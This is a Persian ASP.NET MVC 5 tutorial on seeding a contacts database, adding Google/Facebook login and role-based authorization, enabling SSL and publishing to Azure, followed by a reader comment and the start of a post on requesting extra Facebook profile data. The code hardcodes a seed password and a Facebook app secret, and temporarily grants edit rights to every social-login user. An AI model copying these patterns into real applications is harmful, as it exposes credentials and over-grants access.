از منوی **Tools** گزینه **Library Package Manager** و سپس **Package Manager Console** را انتخاب کنید.

در پنجره باز شده فرمان زیر را وارد کنید.

```
enable-migrations
```

فرمان **enable-migrations** یک پوشه با نام *Migrations* می سازد و فایلی با نام *Configuration.cs* را به آن اضافه می‌کند. با استفاده از این کلاس می‌توانید داده‌های اولیه دیتابیس را وارد کنید و مهاجرت‌ها را نیز پیکربندی کنید.

در پنجره **Package Manager Console** فرمان زیر را وارد کنید.

```
add-migration Initial
```

فرمان **add-migration initial** فایلی با نام **<data_stamp> initial** ساخته و آن را در پوشه *Migrations* ذخیره می‌کند. در این مرحله دیتابیس شما ایجاد می‌شود. در این فرمان، مقدار **initial** اختیاری است و صرفا برای نامگذاری فایل مهاجرت استفاده شده. فایل‌های جدید را می‌توانید در **Solution Explorer** مشاهده کنید.

در کلاس **Initial** متد **Up** جدول Contacts را می‌سازد. و متد **Down** (هنگامی که می‌خواهید به وضعیت قبلی بازگردید) آن را drop می‌کند.

حال فایل *Migrations/Configuration.cs* را باز کنید. فضای نام زیر را اضافه کنید.

```
using ContactManager.Models;
```

حال متد *Seed* را با قطعه کد زیر جایگزین کنید.

```
protected override void Seed(ContactManager.Models.ApplicationDbContext context)
{
    context.Contacts.AddOrUpdate(p => p.Name,
       new Contact
       {
           Name = "Debra Garcia",
           Address = "1234 Main St",
           City = "Redmond",
           State = "WA",
           Zip = "10999",
           Email = "debra@example.com",
       },
        new Contact
        {
            Name = "Thorsten Weinrich",
            Address = "5678 1st Ave W",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "thorsten@example.com",
        },
        new Contact
        {
            Name = "Yuhong Li",
            Address = "9012 State st",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "yuhong@example.com",
        },
        new Contact
        {
            Name = "Jon Orton",
            Address = "3456 Maple St",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "jon@example.com",
        },
        new Contact
        {
            Name = "Diliana Alexieva-Bosseva",
            Address = "7890 2nd Ave E",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "diliana@example.com",
        }
        );
}
```

این متد دیتابیس را Seed می‌کند، یعنی داده‌های پیش فرض و اولیه دیتابیس را تعریف می‌کند. برای اطلاعات بیشتر به Seeding and Debugging Entity Framework (EF) DBs مراجعه کنید.

در پنجره **Package Manager Console** فرمان زیر را وارد کنید.

```
update-database
```

```
Package Manager Console
Package source: NuGet official package source
PM> enable-migrations
Checking if the context targets an existing database...
Code First Migrations enabled for project ContactManager.
PM> add-migration Initial
Scaffolding migration 'Initial'.
The Designer Code for this migration file includes a snapshot of your current Code Fi
 model. This snapshot is used to calculate the changes to your model when you scaffol
the next migration. If you make additional changes to your model that you want to
include in this migration, then you can re-scaffold it by running 'Add-Migration
201209182148203_Initial' again.
PM> update-database
Specify the '-Verbose' flag to view the SQL statements being applied to the target
database.
Applying code-based migrations: [201209182148203_Initial].
Applying code-based migration: 201209182148203_Initial.
Running Seed method.
PM>
100 %
```

فرمان **update-database** مهاجرت نخست را اجرا می‌کند، که دیتابیس را می‌سازد. بصورت پیش فرض این یک دیتابیس SQL Server Express LocalDB است.

حال پروژه را با CTRL + F5 اجرا کنید.

همانطور که مشاهده می‌کنید، اپلیکیشن داده‌های اولیه (Seed) را نمایش می‌دهد، و لینک هایی هم برای ویرایش، حذف و مشاهده جزئیات رکوردها فراهم می‌کند. می‌توانید داده‌ها را مشاهده کنید، رکورد جدید ثبت کنید و یا داده‌های قبلی را ویرایش و حذف کنید.

یک تامین کننده OAuth2 و OpenID اضافه کنید OAuth یک پروتکل باز است که امکان authorization امن توسط یک متد استاندارد را فراهم می‌کند. این پروتکل می‌تواند در اپلیکیشن‌های وب، موبایل و دسکتاپ استفاده شود. قالب پروژه ASP.NET MVC internet از OAuth و OpenID استفاده می‌کند تا فیسبوک، توییتر، گوگل و حساب‌های کاربری مایکروسافت را بعنوان تامین کنندگان خارجی تعریف کند. به سادگی می‌توانید قطعه کدی را ویرایش کنید و از تامین کننده احراز هویت مورد نظرتان استفاده کنید. مراحلی که برای اضافه کردن این تامین کنندگان باید دنبال کنید، بسیار مشابه همین مراحلی است که در این مقاله دنبال خواهید کرد. برای اطلاعات بیشتر درباره نحوه استفاده از فیسبوک بعنوان یک تامین کننده احراز هویت به Create an ASP.NET MVC 5 App with Facebook and Google OAuth2 and OpenID Sign-on مراجعه کنید.

علاوه بر احراز هویت، اپلیکیشن ما از نقش‌ها (roles) نیز استفاده خواهد کرد تا از authorization پشتیبانی کند. تنها کاربرانی که به نقش *canEdit* تعلق داشته باشند قادر به ویرایش اطلاعات خواهند بود (یعنی ایجاد، ویرایش و حذف رکورد ها).

فایل *App_Start/Startup.Auth.cs* را باز کنید. توضیحات متد *app.UseGoogleAuthentication* را حذف کنید.

حال اپلیکیشن را اجرا کنید و روی لینک **Log In** کلیک کنید.

زیر قسمت **User another service to log in** روی دکمه **Google** کلیک کنید. اطلاعات کاربری خود را وارد کنید. سپس **Accept** را کلیک کنید تا به اپلیکیشن خود دسترسی کافی بدهید (برای آدرس ایمیل و اطلاعات پایه).

حال باید به صفحه ثبت نام (Register) هدایت شوید. در این مرحله می‌توانید در صورت لزوم نام کاربری خود را تغییر دهید. نهایتا روی **Register** کلیک کنید.

Register - Contact Manag
localhost:62951/Account/ExternalLoginCall
CM Demo
Register.
Associate your Google account.
Association Form
You've successfully authenticated with Google. Please enter a user name for this site below and click the Register button to finish logging in.
User name
RickAnderson
Register
© 2013 - Contact Manager

استفاده از Membership API

در این قسمت شما یک کاربر محلی و نقش *canEdit* را به دیتابیس عضویت اضافه می‌کنید. تنها کاربرانی که به این نقش تعلق دارند قادر به ویرایش داده‌ها خواهند بود. یکی از بهترین تمرین‌ها (best practice) نام گذاری نقش‌ها بر اساس عملیاتی است که می‌توانند اجرا کنند. بنابراین مثلا *canEdit* نسبت به نقشی با نام *admin* ترجیح داده می‌شود. هنگامی که اپلیکیشن شما رشد می‌کند و بزرگتر می‌شود، شما می‌توانید نقش‌های جدیدی مانند *canDeleteMembers* اضافه کنید، بجای آنکه از نام‌های گنگی مانند *superAdmin* استفاده کنید.

فایل *Migrations/Configuration.cs* را باز کنید و عبارات زیر را به آن اضافه کنید.

```
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
```

متد **AddUserAndRole** را به این کلاس اضافه کنید.

```
bool AddUserAndRole(ContactManager.Models.ApplicationDbContext context)
 {
    IdentityResult ir;
    var rm = new RoleManager<IdentityRole>
        (new RoleStore<IdentityRole>(context));
    ir = rm.Create(new IdentityRole("canEdit"));
    var um = new UserManager<ApplicationUser>(
        new UserStore<ApplicationUser>(context));
    var user = new ApplicationUser()
    {
       UserName = "user1",
    };
    ir = um.Create(user, "Passw0rd1");
    if (ir.Succeeded == false)
       return ir.Succeeded;
    ir = um.AddToRole(user.Id, "canEdit");
    return ir.Succeeded;
 }
```

حالا از متد **Seed** این متد جدید را فراخوانی کنید.

```
protected override void Seed(ContactManager.Models.ApplicationDbContext context)
{
    AddUserAndRole(context);
    context.Contacts.AddOrUpdate(p => p.Name,
        // Code removed for brevity
}
```

این کدها نقش جدیدی با نام *canEdit* و کاربری با نام *user1* می سازد. سپس این کاربر به نقش مذکور اضافه می‌شود.

کدی موقتی برای تخصیص نقش *canEdit* به کاربران جدید Social Provider ها

در این قسمت شما متد **ExternalLoginConfirmation** در کنترلر Account را ویرایش خواهید کرد. یا این تغییرات، کاربران جدیدی که توسط OAuth یا OpenID ثبت نام می‌کنند به نقش *canEdit* اضافه می‌شوند. تا زمانی که ابزاری برای افزودن و مدیریت نقش‌ها بسازیم، از این کد موقتی استفاده خواهیم کرد. تیم مایکروسافت امیدوار است ابزاری مانند WSAT برای مدیریت کاربران و نقش‌ها در آینده عرضه کند. بعدا در این مقاله با اضافه کردن کاربران به نقش‌ها بصورت دستی از طریق **Server Explorer** نیز آشنا خواهید شد.

فایل **Controllers/AccountController.cs** را باز کنید و متد **ExternalLoginConfirmation** را پیدا کنید.

درست قبل از فراخوانی **SignInAsync** متد **AddToRoleAsync** را فراخوانی کنید.

```
await UserManager.AddToRoleAsync(user.Id, "CanEdit");
```

کد بالا کاربر ایجاد شده جدید را به نقش canEdit اضافه می‌کند، که به آنها دسترسی به متدهای ویرایش داده را می‌دهد. تصویری

از تغییرات کد در زیر آمده است.

```
//
// POST: /Account/ExternalLoginConfirmation
[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
public async Task<ActionResult> ExternalLoginConfirmation(ExternalLoginConfirmati
{
    if (User.Identity.IsAuthenticated)
    {
        return RedirectToAction("Manage");
    }

    if (ModelState.IsValid)
    {
        // Get the information about the user from the external login provider
        var info = await AuthenticationManager.GetExternalLoginInfoAsync();
        if (info == null)
        {
            return View("ExternalLoginFailure");
        }
        var user = new ApplicationUser() { UserName = model.UserName };
        var result = await UserManager.CreateAsync(user);
        if (result.Succeeded)
        {
            result = await UserManager.AddLoginAsync(user.Id, info.Login);
            if (result.Succeeded)
            {
                await UserManager.AddToRoleAsync(user.Id, "CanEdit");
                await SignInAsync(user, isPersistent: false);
                return RedirectToLocal(returnUrl);
            }
        }
        AddErrors(result);
    }

    ViewBag.ReturnUrl = returnUrl;
    return View(model);
}
```

در ادامه مقاله اپلیکیشن خود را روی Windows Azure منتشر خواهید کرد و با استفاده از Google و تامین کنندگان دیگر وارد سایت می‌شوید. هر فردی که به آدرس سایت شما دسترسی داشته باشد، و یک حساب کاربری Google هم در اختیار داشته باشد

می‌تواند در سایت شما ثبت نام کند و سپس دیتابیس را ویرایش کند. برای جلوگیری از دسترسی دیگران، می‌توانید وب سایت خود را متوقف (stop) کنید.

در پنجره **Package Manager Console** فرمان زیر را وارد کنید.

```
Update-Database
```

فرمان را اجرا کنید تا متد **Seed** را فراخوانی کند. حال **AddUserAndRole** شما نیز اجرا می‌شود. تا این مرحله نقش *canEdit* ساخته شده و کاربر جدیدی با نام *user1* ایجاد و به آن افزوده شده است.

محافظت از اپلیکیشن توسط SSL و خاصیت Authorize

در این قسمت شما با استفاده از خاصیت Authorize دسترسی به اکشن متدها را محدود می‌کنید. کاربران ناشناس (Anonymous) تنها قادر به مشاهده متد **Index** در کنترلر **home** خواهند بود. کاربرانی که ثبت نام کرده اند به متدهای **Index** و **Details** در کنترلر **Cm** و صفحات About و Contact نیز دسترسی خواهند داشت. همچنین دسترسی به متدهایی که داده‌ها را تغییر می‌دهند تنها برای کاربرانی وجود دارد که در نقش *canEdit* هستند.

خاصیت Authorize و RequireHttps را به اپلیکیشن اضافه کنید. یک راه دیگر افزودن این خاصیت‌ها به تمام کنترلرها است، اما تجارب امنیتی توصیه می‌کند که این خاصیت‌ها روی کل اپلیکیشن اعمال شوند. با افزودن این خاصیت‌ها بصورت global تمام کنترلرها و اکشن متدهایی که می‌سازید بصورت خودکار محافظت خواهند شد، و دیگر لازم نیست بیاد داشته باشید کدام کنترلرها و متدها را باید ایمن کنید.

برای اطلاعات بیشتر به Securing your ASP.NET MVC App and the new AllowAnonymous Attribute مراجعه کنید.

فایل *App_Start/FilterConfig.cs* را باز کنید و متد *RegisterGlobalFilters* را با کد زیر مطابقت دهید.

```
public static void
RegisterGlobalFilters(GlobalFilterCollection filters)
{
    filters.Add(new HandleErrorAttribute());
    filters.Add(new System.Web.Mvc.AuthorizeAttribute());
    filters.Add(new RequireHttpsAttribute());
}
```

خاصیت Authorize در کد بالا از دسترسی کاربران ناشناس به تمام متدهای اپلیکیشن جلوگیری می‌کند. شما برای اعطای دسترسی به متدهایی خاص از خاصیت AllowAnonymous استفاده خواهید کرد. در آخر خاصیت RequireHTTPS باعث می‌شود تا تمام دسترسی‌ها به اپلیکیشن وب شما از طریق HTTPS صورت گیرد.

حالا خاصیت AllowAnonymous را به متد **Index** در کنترلر Home اضافه کنید. از این خاصیت برای اعطای دسترسی به تمامی کاربران سایت استفاده کنید. قسمتی از کد کنترلر Home را در زیر می‌بینید.

```
namespace ContactManager.Controllers
 {
    public class HomeController : Controller
    {
       [AllowAnonymous]
       public ActionResult Index()
       {
          return View();
       }
```

یک جستجوی عمومی برای عبارت *AllowAnonymous* انجام دهید. همانطور که مشاهده می‌کنید این خاصیت توسط متدهای ورود و ثبت نام در کنترلر Account نیز استفاده شده است.

در کنترلر *CmController* خاصیت *[Authorize(Roles="canEdit")]* را به تمام متدهایی که با داده سر و کار دارند اضافه کنید، به غیر از متدهای Index و Details. قسمتی از کد کامل شده در زیر آمده است.

```
public class CmController : Controller
{
    private ContactManagerContext db = new ContactManagerContext();

    // GET: /Cm/Create

    [Authorize(Roles = "canEdit")]
    public ActionResult Create()
    {
        return View();
    }

    // POST: /Cm/Create
    [HttpPost]
    [ValidateAntiForgeryToken]
    [Authorize(Roles = "canEdit")]
    public ActionResult Create([Bind(Include = "ContactId,Name,Address,City,
    {
        if (ModelState.IsValid)
        {
            db.Contacts.Add(contact);
            db.SaveChanges();
            return RedirectToAction("Index");
        }

        return View(contact);
    }

    // GET: /Cm/Edit/5
    [Authorize(Roles = "canEdit")]
    public ActionResult Edit(int? id)
    {
        if (id == null)
        {
            return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
        }
        Contact contact = db.Contacts.Find(id);
        if (contact == null)
        {
            return HttpNotFound();
        }
        return View(contact);
    }
```

فعال سازی SSL برای پروژه

در Solution Explorer پروژه خود را انتخاب کنید. سپس کلید F4 را فشار دهید تا دیالوگ خواص (Properties) باز شود. حال مقدار خاصیت **SSL Enabled** را به true تنظیم کنید. آدرس **SSL URL** را کپی کنید. این آدرس چیزی شبیه به https://localhost:44300/ خواهد بود.

روی نام پروژه کلیک راست کنید و **Properties** را انتخاب کنید. در قسمت چپ گزینه **Web** را انتخاب کنید. حالا مقدار **Project Url** را به آدرسی که کپی کرده اید تغییر دهید. نهایتا تغییرات را ذخیره کنید و پنجره را ببندید.

حال پروژه را اجرا کنید. مرورگر شما باید یک پیام خطای اعتبارسنجی به شما بدهد. دلیلش این است که اپلیکیشن شما از یک

Valid Certificate استفاده نمی‌کند. هنگامی که پروژه را روی Windows Azure منتشر کنید دیگر این پیغام را نخواهید دید. چرا که سرورهای مایکروسافت همگی لایسنس‌های معتبری دارند. برای اپلیکیشن ما می‌توانید روی **Continue to this website** را انتخاب کنید.

حال مرورگر پیش فرض شما باید صفحه **Index** از کنترلر home را به شما نمایش دهد.

اگر از یک نشست قبلی هنوز در سایت هستید (logged-in) روی لینک **Log out** کلیک کنید و از سایت خارج شوید.

روی لینک‌های **About** و **Contact** کلیک کنید. باید به صفحه ورود به سایت هدایت شوید چرا که کاربران ناشناس اجازه دسترسی به این صفحات را ندارند.

روی لینک **Register** کلیک کنید و یک کاربر محلی با نام *Joe* بسازید. حال مطمئن شوید که این کاربر به صفحات Home, About و Contact دسترسی دارد.

روی لینک *CM Demo* کلیک کنید و مطمئن شوید که داده‌ها را مشاهده می‌کنید.

حال روی یکی از لینک‌های ویرایش (Edit) کلیک کنید. این درخواست باید شما را به صفحه ورود به سایت هدایت کند، چرا که کاربران محلی جدید به نقش *canEdit* تعلق ندارند.

با کاربر *user1* که قبلا ساختید وارد سایت شوید. حال به صفحه ویرایشی که قبلا درخواست کرده بودید هدایت می‌شوید.

اگر نتوانستید با این کاربر به سایت وارد شوید، کلمه عبور را از سورس کد کپی کنید و مجددا امتحان کنید. اگر همچنان نتوانستید به سایت وارد شوید، جدول **AspNetUsers** را بررسی کنید تا مطمئن شوید کاربر *user1* ساخته شده است. این مراحل را در ادامه مقاله خواهید دید.

در آخر اطمینان حاصل کنید که می‌توانید داده‌ها را تغییر دهید.

اپلیکیشن را روی Windows Azure منتشر کنید

ابتدا پروژه را Build کنید. سپس روی نام پروژه کلیک راست کرده و گزینه **Publish** را انتخاب کنید.

در دیالوگ باز شده روی قسمت **Settings** کلیک کنید. روی **File Publish Options** کلیک کنید تا بتوانید **Remote connection string** را برای **ApplicationDbContext** و دیتابیس ContactDB انتخاب کنید.

اگر ویژوال استودیو را پس از ساخت Publish profile بسته و دوباره باز کرده اید، ممکن است رشته اتصال را در لیست موجود نبینید. در چنین صورتی، بجای ویرایش پروفایل انتشار، یک پروفایل جدید بسازید. درست مانند مراحلی که پیشتر دنبال کردید.

Publish Web
cm22 *
Configuration:
Release
File Publish Options
Databases
ApplicationDbContext (DefaultConnection)
Remote connection string
...
ContactDB
Use this connection string at runtime (update destination web.config)
Execute Code First Migrations (runs on application start)
< Prev
Next >
Publish
Close

زیر قسمت **ContactManagerContext** گزینه **Execute Code First Migrations** را انتخاب کنید.

حال **Publish** را کلیک کنید تا اپلیکیشن شما منتشر شود. با کاربر *user1* وارد سایت شوید و بررسی کنید که می‌توانید داده‌ها را ویرایش کنید یا خیر.

حال از سایت خارج شوید و توسط یک اکانت Google یا Facebook وارد سایت شوید، که در این صورت نقش canEdit نیز به شما تعلق می‌گیرد.

برای جلوگیری از دسترسی دیگران، وب سایت را متوقف کنید

در **Server Explorer** به قسمت **Web Sites** بروید. حال روی هر نمونه از وب سایت‌ها کلیک راست کنید و گزینه **Stop Web Site** را انتخاب کنید.

Server Explorer
Data Connections
ContactManagerContext (ContactManager)
DefaultConnection (ContactManager)
Servers
SharePoint Connections
Windows Azure
Cloud Services
Mobile Services
Service Bus
SQL Databases
ContactDB
Storage
Virtual Machines
Web Sites
cm1234.azurewebsites.net
cm1234.azurewebsites.net
Refresh
View Settings
Stop Web Site
Open in Browser
Attach Debugger
Open in Management Portal
View Streaming Logs in Output Window
Download Publish Profile
Properties
Alt+Enter

یک راه دیگر متوقف کردن وب سایت از طریق پرتال مدیریت Windows Azure است.

فراخوانی AddToRoleAsync را حذف و اپلیکیشن را منتشر و تست کنید

کنترلر Account را باز کنید و کد زیر را از متد **ExternalLoginConfirmation** حذف کنید.

```
await UserManager.AddToRoleAsync(user.Id, "CanEdit");
```

پروژه را ذخیره و Build کنید. حال روی نام پروژه کلیک راست کرده و **Publish** را انتخاب کنید.

دکمه **Start Preview** را فشار دهید. در این مرحله تنها فایل هایی که نیاز به بروز رسانی دارند آپلود خواهند شد.

وب سایت را راه اندازی کنید. ساده‌ترین راه از طریق پرتال مدیریت Windows Azure است. توجه داشته باشید که تا هنگامی که وب سایت شما متوقف شده، نمی‌توانید اپلیکیشن خود را منتشر کنید.

حال به ویژوال استودیو بازگردید و اپلیکیشن را منتشر کنید. اپلیکیشن Windows Azure شما باید در مرورگر پیش فرض تان باز شود. حال شما در حال مشاهده صفحه اصلی سایت بعنوان یک کاربر ناشناس هستید.

روی لینک **About** کلیک کنید، که شما را به صفحه ورود هدایت می‌کند.

روی لینک **Register** در صفحه ورود کلیک کنید و یک حساب کاربری محلی بسازید. از این حساب کاربری برای این استفاده می‌کنیم که ببینیم شما به صفحات فقط خواندنی (read-only) و نه صفحاتی که داده‌ها را تغییر می‌دهند دسترسی دارید یا خیر. بعدا در ادامه مقاله، دسترسی حساب‌های کاربری محلی (local) را حذف می‌کنیم.

مطمئن شوید که به صفحات About و Contact دسترسی دارید.

لینک **CM Demo** را کلیک کنید تا به کنترلر *CmController* هدایت شوید.

روی یکی از لینک‌های Edit کلیک کنید. این کار شما را به صفحه ورود به سایت هدایت می‌کند. در زیر قسمت **User another service to log in** یکی از گزینه‌های Google یا Facebook را انتخاب کنید و توسط حساب کاربری ای که قبلا ساختید وارد شوید.

حال بررسی کنید که امکان ویرایش اطلاعات را دارید یا خیر.

نکته: شما نمی‌توانید در این اپلیکیشن از اکانت گوگل خود خارج شده، و با همان مرورگر با اکانت گوگل دیگری وارد اپلیکیشن شوید. اگر دارید از یک مرورگر استفاده می‌کنید، باید به سایت گوگل رفته و از آنجا خارج شوید. برای وارد شدن به اپلیکیشن توسط یک اکانت دیگر می‌توانید از یک مرورگر دیگر استفاده کنید.

دیتابیس SQL Azure را بررسی کنید

در **Server Explorer** دیتابیس **ContactDB** را پیدا کنید. روی آن کلیک راست کرده و **Open in SQL Server Object Explorer** را

انتخاب کنید.

توجه: اگر نمی‌توانید گره **SQL Databases** را باز کنید و یا **ContactDB** را در ویژوال استودیو نمی‌بینید، باید مراحلی را طی کنید تا یک پورت یا یکسری پورت را به فایروال خود اضافه کنید. دقت داشته باشید که در صورت اضافه کردن Port Rangeها ممکن است چند دقیقه زمان نیاز باشد تا بتوانید به دیتابیس دسترسی پیدا کنید.

روی جدول **AspNetUsers** کلیک راست کرده و **View Data** را انتخاب کنید.

SQL Server Object Explorer
SQL Server
(localdb)\Projects (SQL Server 11.0.3000.0 -
ox6jx6raw7.database.windows.net (SQL Serv
Databases
ContactDB
Tables
System Tables
dbo.__MigrationHistory
dbo.AspNetRoles
dbo.AspNetUserClaims
dbo.AspNetUserLogins
dbo.AspNetUserRoles
dbo.AspNetUsers
Data Comparison...
Script As
View Code
View Designer
View Permissions
View Data
Delete
Del
Rename
Refresh
Properties

dbo.AspNetUsers [Data]

Max Rows: 1000

Id	UserName	PasswordHash	Secu...	Discriminator
3b7fd83f-fc68-4f4d-ae27-b9922d17602d	JoeLocalUser	AGgn9Gfmxw...	c3337...	ApplicationUser
8a5687c2-86ed-40c9-853b-26ef40b7a2bb	RickGM000	NULL	5489a...	ApplicationUser
94715c84-9919-4146-ad2b-0cf692c7c70d	JoeLocalUser2	AOIMz9t+/+z...	d9f47...	ApplicationUser
9af370af-8055-4cef-965f-990214c24ccf	user1	AJjTVn2u86D...	7f3ab...	ApplicationUser
a18b44da-a9ac-4153-89a0-d9c808f22df8	joeLocal	ACDwfL01Klf...	2977f...	ApplicationUser
NULL	NULL	NULL	NULL	NULL

حالا روی **AspNetUserRoles** کلیک راست کنید و **View Data** را انتخاب کنید.

dbo.AspNetUserRoles [Data] | dbo.AspNetUsers [Data]

Max Rows: 1000

UserId	RoleId
8a5687c2-86ed-40c9-853b-26ef40b7a2bb	e43a4145-7089-4292-9057-af56e5d8e940
9af370af-8055-4cef-965f-990214c24ccf	e43a4145-7089-4292-9057-af56e5d8e940
NULL	NULL

اگر شناسه کاربران (User ID) را بررسی کنید، مشاهده می‌کنید که تنها دو کاربر *user1* و اکانت گوگل شما به نقش *canEdit* تعلق دارند.

Cannot open server login error

اگر خطایی مبنی بر "Cannot open server" دریافت می‌کنید، مراحل زیر را دنبال کنید.

شما باید آدرس IP خود را به لیست آدرس‌های مجاز (Allowed IPs) اضافه کنید. در پرتال مدیریتی Windows Azure در قسمت چپ صفحه، گزینه **SQL Databases** را انتخاب کنید.

دیتابیس مورد نظر را انتخاب کنید. حالا روی لینک **Set up Windows Azure firewall rules for this IP address** کلیک کنید.

هنگامی که با پیغام "The current IP address xxx.xxx.xxx.xxx is not included in existing firewall rules. Do you want? to update the firewall rules" مواجه شدید **Yes** را کلیک کنید. افزودن یک آدرس IP بدین روش معمولا کافی نیست و در فایروال‌های سازمانی و بزرگ باید Range بیشتری را تعریف کنید.

مرحله بعد اضافه کردن محدوده آدرس‌های مجاز است.

مجددا در پرتال مدیریتی Windows Azure روی **SQL Databases** کلیک کنید. سروری که دیتابیس شما را میزبانی می‌کند انتخاب کنید.

در بالای صفحه لینک **Configure** را کلیک کنید. حالا نام rule جدید، آدرس شروع و پایان را وارد کنید.

در پایین صفحه **Save** را کلیک کنید.

در آخر می‌توانید توسط SSOX به دیتابیس خود متصل شوید. از منوی **View** گزینه **SQL Server Object Explorer** را انتخاب کنید. روی **SQL Server** کلیک راست کرده و **Add SQL Server** را انتخاب کنید.

در دیالوگ **Connect to Server** متد احراز هویت را به **SQL Server Authentication** تغییر دهید. این کار نام سرور و اطلاعات ورود پرتال Windows Azure را به شما می‌دهد.

در مرورگر خود به پرتال مدیریتی بروید و **SQL Databases** را انتخاب کنید. دیتابیس **ContactDB** را انتخاب کرده و روی **View SQL Database connection strings** کلیک کنید. در صفحه **Connection Strings** مقادیر **Server** و **User ID** را کپی کنید. حالا مقادیر را در دیالوگ مذکور در ویژوال استودیو بچسبانید. مقدار فیلد **User ID** در قسمت **Login** وارد می‌شود. در آخر هم کلمه عبوری که هنگام ساختن دیتابیس تنظیم کردید را وارد کنید.

حالا می‌توانید با مراحلی که پیشتر توضیح داده شد به دیتابیس **Contact DB** مراجعه کنید.

افزودن کاربران به نقش canEdit با ویرایش جداول دیتابیس

پیشتر در این مقاله، برای اضافه کردن کاربران به نقش canEdit از یک قطعه کد استفاده کردیم. یک راه دیگر تغییر جداول دیتابیس بصورت مستقیم است. مراحلی که در زیر آمده اند اضافه کردن کاربران به یک نقش را نشان می‌دهند.

در **SQL Server Object Explorer** روی جدول **AspNetUserRoles** کلیک راست کنید و **View Data** را انتخاب کنید.

dbo.AspNetUserRoles [Data] | dbo.AspNetUsers [Data]

Max Rows: 1000

UserId	RoleId
8a5687c2-86ed-40c9-853b-26ef40b7a2bb	e43a4145-7089-4292-9057-af56e5d8e940
9af370af-8055-4cef-965f-990214c24ccf	e43a4145-7089-4292-9057-af56e5d8e940
NULL	NULL

حالا *RoleId* را کپی کنید و در ردیف جدید بچسبانید.

dbo.AspNetUserRoles [Data] | dbo.AspNetUsers [Data]

Max Rows: 1000

UserId	RoleId
8a5687c2-86ed-40c9-853b-26ef40b7a2bb	e43a4145-7089-4292-9057-af56e5d8e940
9af370af-8055-4cef-965f-990214c24ccf	e43a4145-7089-4292-9057-af56e5d8e940
	e43a4145-7089-4292-9057-af56e5d8e940
NULL	NULL

شناسه کاربر مورد نظر را از جدول **AspNetUsers** پیدا کنید و مقدار آن را در ردیف جدید کپی کنید. همین! کاربر جدید شما به نقش canEdit اضافه شد.

نکاتی درباره ثبت نام محلی (Local Registration)

ثبت نام فعلی ما از بازنشانی کلمه‌های عبور (password reset) پشتیبانی نمی‌کند. همچنین اطمینان حاصل نمی‌شود که کاربران سایت انسان هستند (مثلا با استفاده از یک CAPTCHA). پس از آنکه کاربران توسط تامین کنندگان خارجی (مانند گوگل) احراز هویت شدند، می‌توانند در سایت ثبت نام کنند. اگر می‌خواهید ثبت نام محلی را برای اپلیکیشن خود غیرفعال کنید این مراحل را دنبال کنید:

در کنترلر Account متدهای *Register* را ویرایش کنید و خاصیت **AllowAnonymous** را از آنها حذف کنید (هر دو متد GET و POST).

این کار ثبت نام کاربران ناشناس و بدافزارها (bots) را غیر ممکن می‌کند.

در پوشه *Views/Shared* فایل *_LoginPartial.cshtml* را باز کنید و لینک Register را از آن حذف کنید.

در فایل *Views/Account/Login.cshtml* نیز لینک Register را حذف کنید.

اپلیکیشن را دوباره منتشر کنید.

قدم‌های بعدی

برای اطلاعات بیشتر درباره نحوه استفاده از Facebook بعنوان یک تامین کننده احراز هویت، و اضافه کردن اطلاعات پروفایل به قسمت ثبت نام کاربران به لینک زیر مراجعه کنید. Create an ASP.NET MVC 5 App with Facebook and Google OAuth2 and

OpenID Sign-on

برای یادگیری بیشتر درباره ASP.NET MVC 5 هم به سری مقالات Getting Started with ASP.NET MVC 5 می توانید مراجعه کنید. همچنین سری مقالات Getting Started with EF and MVC مطالب خوبی درباره مفاهیم پیشرفته EF ارائه می‌کند.

نظرات خوانندگان

نویسنده: مهمان
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۴:۴

دوست عزیز

با صبر و حوصله و دقت فراوان یک مقاله خوب را منتشر کردید. ممنون(رای من 5)

عنوان: دریافت اطلاعات بیشتر از Social Provider ها در VS 2013
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۷:۳۵
آدرس: www.dotnettips.info
گروه‌ها: OpenID, ASP.NET MVC 5, ASP.NET Identity, OAuth, MVC, Security

هنگامی که یک پروژه جدید ASP.NET را در VS 2013 می‌سازید و متد احراز هویت آن را Individual User Accounts انتخاب می‌کنید، قالب پروژه، امکانات لازم را برای استفاده از تامین کنندگان ثالث، فراهم می‌کند، مثلا مایکروسافت، گوگل، توییتر و فیسبوک. هنگامی که توسط یکی از این تامین کننده‌ها کاربری را احراز هویت کردید، می‌توانید اطلاعات بیشتری درخواست کنید. مثلا عکس پروفایل کاربر یا لیست دوستان او. سپس اگر کاربر به اپلیکیشن شما سطح دسترسی کافی داده باشد می‌توانید این اطلاعات را دریافت کنید و تجربه کاربری قوی‌تر و بهتری ارائه کنید.

در این پست خواهید دید که چطور می‌شود از تامین کننده Facebook اطلاعات بیشتری درخواست کرد. پیش فرض این پست بر این است که شما با احراز هویت فیسبوک و سیستم کلی تامین کننده‌ها آشنایی دارید. برای اطلاعات بیشتر درباره راه اندازی احراز هویت فیسبوک به این لینک مراجعه کنید.

برای دریافت اطلاعات بیشتر از فیسبوک مراحل زیر را دنبال کنید.

یک اپلیکیشن جدید ASP.NET MVC با تنظیمات Individual User Accounts بسازید.

احراز هویت فیسبوک را توسط کلید هایی که از Facebook دریافت کرده اید فعال کنید. برای اطلاعات بیشتر در این باره می‌توانید به این لینک مراجعه کنید.

برای درخواست اطلاعات بیشتر از فیسبوک، فایل Startup.Auth.cs را مطابق لیست زیر ویرایش کنید.

```
List<string> scope = newList<string>() { "email", "user_about_me", "user_hometown", "friends_about_me",
"friends_photos" };
 var x = newFacebookAuthenticationOptions();
 x.Scope.Add("email");
 x.Scope.Add("friends_about_me");
 x.Scope.Add("friends_photos");
 x.AppId = "636919159681109";
 x.AppSecret = "f3c16511fe95e854cf5885c10f83f26f";
 x.Provider = newFacebookAuthenticationProvider()
{
    OnAuthenticated = async context =>
    {
         //Get the access token from FB and store it in the database and
        //use FacebookC# SDK to get more information about the user
        context.Identity.AddClaim(
        new System.Security.Claims.Claim("FacebookAccessToken",
                                                 context.AccessToken));
    }
};
 x.SignInAsAuthenticationType = DefaultAuthenticationTypes.ExternalCookie;
 app.UseFacebookAuthentication(x);
```

در خط 1 مشخص می‌کنیم که چه scope هایی از داده را می‌خواهیم درخواست کنیم.

